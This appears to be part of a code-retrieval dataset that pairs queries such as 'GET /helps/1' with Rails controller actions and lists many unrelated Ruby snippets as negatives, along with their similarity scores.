0\n @students.map do |s|\n custom_position[s] = []\n custom_position[s] << counter\n custom_position[s] << counter + 1\n counter += 2\n end\n #output an array of strings\n plants = []\n require 'pry'; binding.pry\n custom_position.keys.each do |stu|\n # row 1\n plants << @garden_array[0][custom_position[stu][0]]\n plants << @garden_array[0][custom_position[stu][1]]\n plants << @garden_array[1][custom_position[stu][0]]\n plants << @garden_array[1][custom_position[stu][1]]\n end\n return plants\n end\n end", "def find_unique_page_visits(visits)\n unique_visits_hash = Hash.new(0)\n unique_addresses_hash = Array.new\n visits.each do |visit|\n # Each time a unique visit is detected, it adds the address and page to an array, so that it can be checked against for future checks\n if !unique_addresses_hash.include? [visit.page, visit.address]\n unique_addresses_hash.push [visit.page, visit.address]\n unique_visits_hash[visit.page] +=1\n end\n end\n # Returned the hash in case it would be required to be stored rather than just printed\n return unique_visits_hash\nend", "def search_array(array, number)\n search_result = Array.new # Defining a search result array\n count = 0 # count to loop through array\n\n # The following logic goes into the array using the counter\n while count < array.length\n \t# If the search number matches a value in the array return that index \n \t# Pushing it to the search_result array\n if number == array[count]\n return search_result.push(count)\n count += 1\n else\n count += 1\n end\n end\nend", "def newly_cov_pat gene, cov_pat\n new_cov = Set.new\n return new_cov unless $genes.has_key? gene\n $genes[gene].each { |pat| new_cov << pat unless cov_pat.include? pat }\n new_cov \nend", "def find_unique_elements (arr)\n n = Hash.new(0)\n return_array = []\n arr.each do |element|\n n[element] += 1\n end\n n.each_pair { |k,v| \n if v == 1\n return_array << k\n end\n }\n \n return return_array\nend", "def unoptimized_find_unique_integer(id_array)\n histogram = Hash.new(0)\n id_array.each do |id|\n histogram[id] += 1\n end\n histogram.keys.each do |key|\n return key if histogram[key] == 1\n end\n return nil\nend", "def find_unique_elements(arr)\n \n#Algorithmic Process\n#Create an array that includes elements without the repeats\n#Create a hash that pairs each element of the new array with how many times it appears in the original array\n#Any key-value pair that has 1 for a value is unique and gets placed in the desired array\n \nnew_hash = {}\narr.each do |x|\n new_hash[x] = 0 if new_hash[x].nil?\n new_hash[x] = new_hash[x] + 1\nend\n\nnew_hash.delete_if {|key, value| value != 1}\nnew_hash.each_key {|key| puts key}\n\nend", "def choice_hashes_for_grant_target( grant_perm, options = {} )\n\n options.assert_valid_keys( :columns, :joins )\n cols = options[:columns]\n cols = ', ' + cols unless cols.nil?\n\n tbl = self.table_name\n sql = <<-END_SQL\n select distinct #{tbl}.id #{cols}\n from permissions p, #{tbl} #{options[:joins]}\n where p.id = :grant\n and p.class_name in ('any', :klass)\n and p.is_grant = :true\n and p.target_owned_by_self = :false\n and #{self.permission_grant_conditions}\n END_SQL\n\n query = sanitize_sql [sql, \n { :grant => grant_perm,\n :klass => self.name,\n :true => true,\n :false => false\n }]\n connection.select_all( query ).tap do |recs|\n recs.each do |rec|\n rec[\"id\"] = rec[\"id\"].to_i\n end\n end\n\n end", "def contains_duplicate(nums)\n tmp_arr = nums.uniq\n result = \n tmp_arr.map do |i|\n nums.select { |j| i == j }.size > 1\n end\n return result.any?\nend", "def find_dup(arr)\n arr.select { |num| arr.count(num) == 2 }.uniq.join.to_i\nend", "def dupe_indices(arr)\n idxs = Hash.new { |h, k| h[k] = [] }\n \n arr.each_with_index do |ele, i|\n idxs[ele] << i\n end\n\n return idxs.select { |ele, arr| arr.length > 1 }\nend", "def search(nums, target)\n nums.sort.uniq.rotate(rand(0..9))\n .include?(target)\nend", "def popullate_array(acct_numbers_array, number_acct_fields)\r\n for i in 1..number_acct_fields\r\n acct_num = random_account_number()\r\n acct_numbers_array.push(acct_num)\r\n end\r\n return acct_numbers_array\r\nend", "def find_duplicates\r\n @dmds = @lists.last\r\n end", "def getAbundants(cap)\n #init array\n abs = []\n #for every number under cap\n for i in 1..cap-1\n #if number is abundant\n if isAbundant(i)\n #add number to abs array\n abs << i\n end\n end\n #return abs\n return abs\nend", "def find_lonely_num(array_of_numbers)\n a = Hash.new(0)\n array_of_numbers.each do |elem|\n a[elem]+=1\n end\n a.key(1)\nend", "def mappa_e_rimuovi_duplicati(&block)\n self.map.with_index(&block).uniq\n end", "def every_possible_pairing_of_word(arr)\n reformed_array = []\n index = 0\n arr.each do |entry|\n arr.each do |entry2|\n if reformed_array.include? [entry, entry2]\n \n elsif reformed_array.include? [entry2, entry]\n elsif entry != entry2 \n reformed_array.insert(index, [entry, entry2])\n index += 1\n end\n end\n end\n return reformed_array\nend", "def maintenance_request_stakeholders(maintenance_request_id)\n # mr = MaintenanceRequest.find_by(id:maintenance_request_id)\n # mr_tenants = mr.tenants\n # #mr_agent = mr.agent.user.id if mr.agent != nil\n # mr_agency_admin = mr.agency_admin.user.id if mr.agency_admin != nil\n # mr_landlord = mr.property.landlord.user.id if mr.property.landlord_id != nil \n # mr_trady = mr.trady.user.id if mr.trady !=nil\n \n # mr_user_affiliates_array = []\n \n # if mr_agent != nil\n # mr_user_affiliates_array.push(mr_agent)\n # end \n\n # if mr_agency_admin != nil\n # mr_user_affiliates_array.push(mr_agency_admin)\n # end\n\n # if mr_landlord !=nil \n # mr_user_affiliates_array.push(mr_landlord)\n # end\n\n # if mr_trady !=nil \n # mr_user_affiliates_array.push(mr_trady)\n # end \n\n\n \n # mr_tenants.each do |tenant|\n # mr_user_affiliates_array.push(tenant.user.id)\n # end \n\n\n \n \n \n # if mr_user_affiliates_array.include?(current_user.id)\n # #do nothing\n \n # else\n # flash[:danger] = \"Sorry you are not allowed to see that!!!\"\n # redirect_to root_path\n # end\n end", "def find_unique_elements(arr)\n \nend", "def get_set_of_user_ids(arr_of_user_names)\n set_of_user_ids = Set.new\n\n arr_of_user_names.each { |name|\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/users\"\n puts \"@url is #{@url}\"\n \n @payload={'search_term': name}\n puts(\"@payload is #{@payload}\")\n \n @getResponse = HTTParty.get(@url, :body => @payload.to_json, :headers => $header)\n puts(\" GET to get user has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n user_data = @getResponse.parsed_response\n \n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end\n }\n \n return set_of_user_ids\nend", "def users_sharing_the_same_interest\n self.user_interest_preferences.map(&:user_id)\n end", "def duplicate_ids\n return [] if accession_number.nil?\n Image.where(accession_number_ssim: @accession_number)\n end", "def find_unique_elements(arr)\n arr_unique = []\n arr.each do |elem1|\n var1 = 0\n arr.each do |elem2|\n if elem1 == elem2\n var1 = var1 + 1\n end\n end\n if var1 <= 1\n arr_unique.push(elem1)\n end\n end\nend", "def find_dup(array)\n array.find { |item| array.count(item) == 2 }\nend", "def find_dup(arr)\n arr.each{ | ele | return ele if arr.count(ele) == 2 }\nend", "def twoDArray(m,n)\n arr = Hash.new\n for m in 0..m\n for n in 0..n\n if m.gcd(n) == 1\n arr[[m,n]] = true\n else\n arr[[m,n]] = false\n end\n end\n end\n\n for m in 0..m\n for n in 0..n\n if arr[[m,n]] == true\n puts \"#{m} :m and #{n} :n\"\n end\n end\n end\nend", "def filter_device_license(licenses_arr)\n duplicated_items = []\n\n (0..licenses_arr.length - 1).each do |i|\n (i + 1..licenses_arr.length - 1).each do |j|\n if licenses_arr[i][:device_serial] == licenses_arr[j][:device_serial] && licenses_arr[i][:package_name] == licenses_arr[j][:package_name]\n if licenses_arr[i][:status] == 'pending'\n licenses_arr[i][:status] = licenses_arr[j][:status]\n licenses_arr[i][:slot] = licenses_arr[j][:slot]\n\n duplicated_items.push(licenses_arr[j])\n break\n elsif licenses_arr[j][:status] == 'pending'\n licenses_arr[j][:status] = licenses_arr[i][:status]\n licenses_arr[j][:slot] = licenses_arr[i][:slot]\n\n duplicated_items.push(licenses_arr[i])\n break\n end\n next\n end\n next\n end\n end\n\n licenses_arr - duplicated_items\n end", "def nondupes(array)\n array.map do |elem| \n array.count(elem) == 1\n \n end\n \nend", "def find_accounts_by_risk( accounts, risk_level )\n high_risk_accounts = []\n for account in accounts\n if account[\"stats\"][\"risk_level\"] == \"high\"\n high_risk_accounts.push(account)\n end\n end\n return high_risk_accounts.length()\nend", "def using_uniq(array)\n\n \nend", "def intersection(nums1, nums2)\n present = Hash.new\n intersection_array = []\n\n nums1.each do |num|\n present[num] = 1\n end\n\n nums2.each do |num|\n if present[num]\n present.delete(num)\n intersection_array << num\n end\n end\n\n intersection_array\nend" ]
[ "0.58155155", "0.5802426", "0.55156547", "0.54996395", "0.54796195", "0.5476039", "0.5366088", "0.5213238", "0.5207325", "0.51864105", "0.5143237", "0.5137791", "0.51286554", "0.5114434", "0.5107566", "0.50922084", "0.50830376", "0.5073611", "0.5055734", "0.5043852", "0.5041816", "0.5031731", "0.50173056", "0.50138557", "0.5012175", "0.500766", "0.5007196", "0.49952954", "0.49938974", "0.49920937", "0.49845833", "0.4968089", "0.49616563", "0.49606475", "0.4948825", "0.49445462", "0.4941062", "0.49390826", "0.4937637", "0.4916534", "0.49127266", "0.4904556", "0.48930892", "0.48917723", "0.488842", "0.4879541", "0.48690113", "0.486519", "0.48641834", "0.48617992", "0.48516363", "0.4851384", "0.4837096", "0.4821966", "0.48076403", "0.4794995", "0.47912312", "0.4789081", "0.4785289", "0.4781546", "0.47805053", "0.47791103", "0.47761774", "0.47722426", "0.47705877", "0.4768773", "0.47687563", "0.47674516", "0.4763587", "0.47624582", "0.4762402", "0.47587788", "0.47572672", "0.4753224", "0.47513038", "0.4741481", "0.47371244", "0.4737046", "0.47240537", "0.4723641", "0.47220257", "0.47195068", "0.4710031", "0.47083184", "0.47007743", "0.47001424", "0.46995175", "0.46987048", "0.4698179", "0.4697991", "0.46979338", "0.46961403", "0.46955356", "0.4695058", "0.46924886", "0.46875024", "0.46873102", "0.4685535", "0.4684491", "0.46825027" ]
0.8186372
0
GET /helps/1 GET /helps/1.json
def show @help = Help.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @help } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @helps = Help.all\n end", "def show\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n format.json {render json: @need_help}\n end\n end", "def helps(id)\n helps_data(request(\"needs/helps/#{id}.xml\", :auth => true))\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def test\n get(\"/help/test.json\")\n end", "def test\n get(\"/help/test.json\")\n end", "def show\n render json: @shelter\n end", "def help\n\t\thelps = Help.all\n\t\tif helps.present?\n\t\t# response to the JSON\n \t render json: { success: true, response: {help_content: helps.as_json} },:status=> 200\n\t else\n\t render :json=> { success: false, message: \"Help Content is not present\" },:status=> 203\n\t end\n\tend", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def show\n @shelter = Shelter.find(params[:id])\n\n respond_with(@shelter)\n end", "def index\n super\n @helps = Help.all\n end", "def show\n @knowledge = Knowledge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @knowledge }\n end\n end", "def show\n\n recipe = Recipe.find(params[:id])\n render :json => recipe.to_json\n\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end", "def index\n @lessons = Lesson.all\n\n render 'index.json'\n end", "def show\n @what = What.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @what }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend", "def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end", "def show\n @title = Title.find(params[:id])\n\n render json: @title\n end", "def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def show\n # @howtolist = @product.howtolists.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @howtolist }\n # end\n end", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def index\n @need_helps = NeedHelp.all\n\n respond_to do |format|\n format.json {render :json => @need_helps.to_json(:include => [:need_help_category,\n :user => {:include => :street}])}\n end\n end", "def show\n @exercise = Exercise.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @htm_help_type = HtmHelpType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @htm_help_type }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def new\n @help = Help.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @help }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exercise }\n end\n end", "def show(id) \n response = request(:get, \"/recipes/#{id}.json\")\n response.first[1]\n end", "def show\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @familiar }\n end\n end", "def index\n @recipes = Recipe.all\n render json: @recipes\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @examples }\n end\n end", "def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end", "def show\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @specie }\n end\n end", "def show\n @terms_of_use = TermsOfUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @terms_of_use }\n end\n end", "def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end", "def index\n @howtolists = Howtolist.all\n # @howtolists = @product.howtolists.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @howtolists }\n # end\n end", "def show\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end", "def index\n respond_to do |format|\n format.html { @chefs = Chef.all }\n format.json { @chefs = Chef.order(:name) }\n end\n end", "def show\n puts params[:id]\n render json: Todo.find(params[:id])\n end", "def show\n render json: @todo\n end", "def show\n render json: @todo\n end", "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial.to_hash(false) }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @heli_kit }\n end\n end", "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end", "def GetArticle id\n\n APICall(path: \"help_center/articles/#{id}.json\")\n\n end", "def show\n @work = Work.find(params[:id])\n render :json => {:name => @work.name, :desc => @work.description}\n end", "def index\n @notebooks = Notebook.all\n render json: @notebooks\n end", "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end", "def show\n @exercise_set = ExerciseSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_set }\n end\n end", "def show\n todo = Todo.find_by_id(params[:id])\n render json: todo.todos\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def show\n render json: @api_v1_todo\n end", "def show\n @rubygem = Rubygem.find(params[:id])\n\n render json: @rubygem\n end", "def show\n @notebook = Notebook.find(params[:id])\n render json: @notebook\n end", "def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def show\n respond_with Recipe.find(params[\"id\"])\n end", "def show\n render :json => Topic.find(params[:id]) \n end", "def show\n respond_to do |format|\n # format.html # index.html.erb\n format.json { render json: @todo }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topics }\n end\n end", "def show\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end", "def show\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end", "def show\n @resource = Resource.find(params[:id])\n render json: @resource, status: 200\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def show\n @tutorial = Tutorial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutorial }\n end\n end", "def show\n @story = Story.find(params[:id])\n\t\t@title = \"Newsy | \" + @story.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def show\n @lab_name = LabName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_name }\n end\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def show\n @cookbook = Cookbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cookbook }\n end\n end", "def index\n @problems = Problem.all\n\n render json: @problems\n end", "def show\n @usage = Usage.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usage }\n end\n end", "def show\n @lab = Lab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab }\n end\n end", "def index\n render json: Recipe.all\n end", "def show\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitty }\n end\n end", "def show\n story = Story.find(params[:id])\n render json: story\n end", "def show\n @topic = Topic.find(params[:id])\n @page_title = \"Topic Show: #{@topic.topic_name}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n \n end\n end", "def show\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moose }\n end\n end", "def show\n @lesson_learned = LessonLearned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_learned }\n end\n end", "def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end", "def show\n @lesson = Lesson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson }\n end\n end", "def show\n @thing = Thing.find(params[:id])\n @thing.description = Redcarpet::Markdown.new(Redcarpet::Render::HTML, :autolink => true, :space_after_headers => true).render(@thing.description)\n page_title \"About the \" + @thing.name + \" thing\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thing }\n end\n end", "def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend", "def index\n @polls = Poll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @polls }\n end\n end", "def show\n @data = @recipe.read(params[:id])\n render json: @data\n end" ]
[ "0.6366669", "0.6175718", "0.6076555", "0.6050109", "0.5977681", "0.5977681", "0.5915773", "0.58807933", "0.58522004", "0.5826026", "0.57899225", "0.57687604", "0.57653326", "0.57600844", "0.5758985", "0.5728377", "0.57199764", "0.5718206", "0.5716527", "0.5713024", "0.5705698", "0.5705698", "0.56943136", "0.56943136", "0.5686805", "0.56857693", "0.5677952", "0.56649727", "0.5646732", "0.56298053", "0.56268924", "0.56218505", "0.56183887", "0.56176203", "0.5615371", "0.56152165", "0.56127775", "0.56102544", "0.5594231", "0.55888003", "0.55875295", "0.55871695", "0.55838543", "0.55836844", "0.55830145", "0.5579571", "0.5579571", "0.55695486", "0.5567687", "0.5567687", "0.5561901", "0.556126", "0.5544487", "0.5542436", "0.5540584", "0.5539846", "0.5537164", "0.55256444", "0.5519424", "0.55166435", "0.5513766", "0.5511842", "0.55110365", "0.550685", "0.5498253", "0.54979324", "0.5491418", "0.5491266", "0.5491266", "0.5491266", "0.5488453", "0.5488453", "0.5468697", "0.5466934", "0.5465133", "0.545968", "0.5459489", "0.5459489", "0.5457046", "0.54541355", "0.54491127", "0.5447609", "0.5445333", "0.5445161", "0.54435754", "0.54410386", "0.5439688", "0.543631", "0.54278", "0.54249114", "0.5423917", "0.54230195", "0.54230195", "0.54230195", "0.54230195", "0.54227406", "0.54221636", "0.5420747", "0.5418932", "0.54109746" ]
0.62706476
1
GET /helps/new GET /helps/new.json
def new @help = Help.new respond_to do |format| format.html # new.html.erb format.json { render json: @help } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end", "def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def new\n @snippet = Snippet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @snippet }\n end\n end", "def new\n @snippet = Snippet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @snippet }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @help_page = HelpPage.new\n\t @title = 'Create New Help Page'\n\t\t\n respond_to do |format|\n format.html { } # new.html.erb\n format.json { render :json => @help_page }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end", "def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end", "def new\n @mistake = Mistake.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mistake }\n end\n end", "def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end", "def new\n @resource = Resource.new\n respond_to do |format|\n format.html {render action: :new} # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @howtolist = @product.howtolists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @howtolist }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tips_trick }\n end\n end", "def new\n @moose = Moose.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moose }\n end\n end", "def new\n @patch = Patch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patch }\n end\n end", "def new\n @todo = @list.todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end", "def new\n @snippet = Snippet.new.decorate\n\n respond_to do |format|\n format.html # new.html.slim\n format.json { render json: @snippet }\n end\n end", "def new\n @knowledge = Knowledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @knowledge }\n end\n end", "def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "def new\n @specie = Specie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @specie }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @tool = Tool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def new\n @title = \"New Book\"\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end", "def new\n @go_term = GoTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @go_term }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo}\n end\n end", "def new\n @cookbook = Cookbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cookbook }\n end\n end", "def new\n @kind = Kind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kind }\n end\n end", "def new\n @potluck = Potluck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potluck }\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hacker }\n end\n end", "def new\n @cool = Cool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cool }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end", "def new\n @story = Story.new\n\t\t@title = \"Nowy news\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @usage = Usage.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usage }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end", "def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html 